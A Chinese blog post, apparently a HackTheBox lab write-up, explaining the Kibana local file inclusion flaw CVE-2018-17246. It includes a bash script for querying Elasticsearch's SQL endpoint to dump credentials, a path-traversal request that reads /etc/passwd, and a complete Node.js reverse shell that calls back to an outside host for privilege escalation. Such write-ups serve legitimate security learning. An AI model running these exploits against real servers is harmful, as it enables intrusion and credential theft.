最近做 HTB::Haystack 的时候遇到一个 CVE-2018-17246 漏洞,搞了一下觉得挺有意思的,正好军训完我就一直在躺尸,也没什么其他的东西来写,就写写这个漏洞吧。
首先这是个 LFI
漏洞,存在于低于 6.4.3 & 5.6.13
版本的 Kibana
上,通过漏洞可以导致 DOS攻击,任意文件读取攻击 ,也可以做 Reverse Shell 。Kibana
是 Elasticsearch
的核心插件,用来分析数据,搜索 Elasticsearch, 可作为产品或服务提供,与各种系统,产品,网站和企业中的其他 Elastic Stack
产品配合。Elasticsearch
在大数据领域可以说是大名鼎鼎,可见这个漏洞的影响还是比较大的。
漏洞的复现过程主要是利用 LFI
,所以这个漏洞比较适用于提权而非拿到 webshell
。顺便说一下 Elasticsearch
可以通过往 /_xpack/sql
发送 POST
来做 sql
查询,具体的 curl
命令如下 :
1
2
3
curl -X POST -H 'Content-Type: application/json' -i 'http://10.10.10.115:9200/_xpack/sql?format=json' --data '{"query": "show functions"}'
# `show functions` 是展示当前可以支持的 `sql` 命令
这个可以用来做 SQL
注入,嫌每个命令都 curl
一大堆的话,我写了一个脚本来简化:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/bin/bash
if [ "$#" != "1" ]; then
echo "ElasticSearch-SQL V1.0 by Soptq"
echo " "
echo "Note:"
echo "ElasticSearch Version Has to Below 7.0"
echo " "
echo "Usage: elasticsearch-sql <Host>"
echo "Example: elasticsearch-sql http://10.10.10.115:9200/"
else
initResult=$(curl -s -X POST -H 'Content-Type: application/json' -i "$1_xpack/sql?format=txt" --data '{"query": "show functions"}' | grep error)
if [ "$initResult" != "" ]; then
# init failed
echo "Failed to connect to the Elasticsearch SQL Controller"
echo "Try Verify the Host"
echo " "
echo "Example: elasticsearch-sql http://10.10.10.115:9200/"
else
#init successed
echo "Successefully Connected to the Elasticsearch SQL Controller"
echo " "
echo " "
input=""
while [ "$input" != "exit" ]
do
read -p "> " input
post_data='{"query": "'$input'"'
result=$(curl -s -X POST -H 'Content-Type: application/json' -i "$1_xpack/sql?format=txt" --data "$post_data}")
echo "#> $result"
done
fi
fi
用这个去 dump
一下管理员账号密码,运气好说不定就可以得到一个 shell
然后就是 CVE-2018-17246 的复现过程了
漏洞的产生原因主要是没有对
1
/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=
这个接口的输入数据做检验,导致这里可以传入任何数据。污染点在
1
\src\core_plugins\console\api_server\server.js
Apis
得到的值传递给赋值参数 name
,从图上也能看到 name
变量的内容没有进行任何过滤被引入到 require
,而 require
模块在 Nodejs
里表示加载模块的方式,可以加载核心模块,例如内置的 http
,也可以是包含名为 index.js
这样的文件或目录如果参数以 /
、./
、../
开头则函数知道该模块是文件或者文件夹,继续跟进到函数 asJson
所在的 api.js
文件中。
在同级目录下ES_5_0.js 中有一个这个类的导出实例
总结一下此函数的正常流程是获取导出 API
类实例并调用函数 asJson
的 JavaScript
文件的名称,但是忽略了过滤验证因此我们可以指定任意文件,配合目录跳转遍历就可以实现 Kibana
服务器上任意文件读取的操作。
比如我们
1
2
GET
/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd
发出后客户端对抛出 500
错误,但在服务器端会把读取到的 passwd
内容抛出来。
通过这个原理,我们得到一个 shell
后就可以往 /tmp
中写入 js reverse shell
,来进行提权:
1
2
3
4
5
6
7
8
9
10
11
12
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "172.18.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
本文作者 Auther:Soptq
本文链接 Link: https://soptq.me/2019/07/21/CVE-2018-17246/
版权声明 Copyright: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处。 Content on this site is licensed under the CC BY-NC-SA 4.0 license agreement unless otherwise noted. Attribution required.
发现存在错别字或者事实错误?请麻烦您点击 这里 汇报。谢谢您!